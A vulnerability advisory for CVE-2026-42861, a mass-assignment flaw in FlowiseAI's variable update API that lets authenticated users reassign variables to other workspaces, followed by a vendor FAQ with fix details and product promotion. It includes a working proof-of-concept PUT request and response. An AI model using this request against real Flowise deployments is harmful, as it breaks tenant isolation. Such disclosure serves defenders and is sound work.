CVE-2026-42861

A Mass Assignment vulnerability exists in the variable update endpoint of FlowiseAI.

The endpoint allows authenticated users to modify server-controlled properties such as workspaceId, createdDate, and updatedDate when updating a variable resource.

Due to missing server-side validation and authorization checks, an attacker can manipulate the workspaceId field and reassign variables to arbitrary workspaces.

This behavior may break tenant isolation in multi-workspace environments.

Details

The endpoint responsible for updating variables:

PUT /api/v1/variables/{variableId}

accepts a JSON request body containing the variable definition.

However, the backend does not restrict which attributes can be modified by the client. As a result, user-controlled request bodies can include internal properties that should normally be controlled exclusively by the server.

Server-controlled fields that can be manipulated include:

• workspaceId
• createdDate
• updatedDate

These fields appear to be directly mapped to the database entity without strict input validation or authorization checks.

For example, the following request body was accepted by the server:

{
  "name": "aaa",
  "value": "bbbe",
  "type": "static",
  "createdDate": "2016-03-06T17:59:30.000Z",
  "updatedDate": "2016-03-06T18:00:17.000Z",
  "workspaceId": "11111111-2222-3333-4444-555555555555"
}

The server accepted the attacker-controlled workspaceId and metadata fields and persisted them.

PoC

Request

PUT /api/v1/variables/<VARIABLE_ID>
Content-Type: application/json

{
  "name": "aaa",
  "value": "bbbe",
  "type": "static",
  "createdDate": "2016-03-06T17:59:30.000Z",
  "updatedDate": "2016-03-06T18:00:17.000Z",
  "workspaceId": "11111111-2222-3333-4444-555555555555"
}

Response

{
  "id": "0a2b9f61-4a97-4ff8-b80d-00275ed18674",
  "name": "aaa",
  "value": "bbbe",
  "type": "static",
  "createdDate": "2016-03-06T17:59:30.000Z",
  "updatedDate": "2026-03-06T18:05:17.000Z",
  "workspaceId": "11111111-2222-3333-4444-555555555555"
}

This confirms that the backend accepts and persists attacker-controlled internal properties.

This vulnerability allows authenticated users to manipulate internal attributes of variable resources.

Possible impacts include:

1. Cross-workspace reassignment of variables (workspaceId)
2. Unauthorized modification of metadata (createdDate, updatedDate)
3. Potential tenant isolation bypass in multi-workspace deployments

In multi-tenant environments, this may allow an attacker to move variables between workspaces without authorization.

Kodem intelligence

1. What is CVE-2026-42861? CVE-2026-42861 is a high-severity security vulnerability in flowise (npm), affecting versions <= 3.1.1. It is fixed in 3.1.2.
2. Which versions of flowise are affected by CVE-2026-42861? flowise (npm) versions <= 3.1.1 is affected.
3. Is there a fix for CVE-2026-42861? Yes. CVE-2026-42861 is fixed in 3.1.2. Upgrade to this version or later.
4. Is CVE-2026-42861 exploitable, and should I be worried? Whether CVE-2026-42861 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-42861 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-42861? Upgrade flowise to 3.1.2 or later.